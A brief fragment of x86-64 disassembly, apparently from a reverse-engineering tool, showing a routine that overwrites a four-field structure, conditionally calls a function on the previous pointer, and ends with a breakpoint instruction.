jne 0x140026194
mov rcx, qword [rsi]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], r9
test rcx, rcx
je 0x1400260bb
call fcn.140021f70
mov r8, qword [rsi + 0x10]
jmp 0x1400260bb
call fcn.14002cf30
int3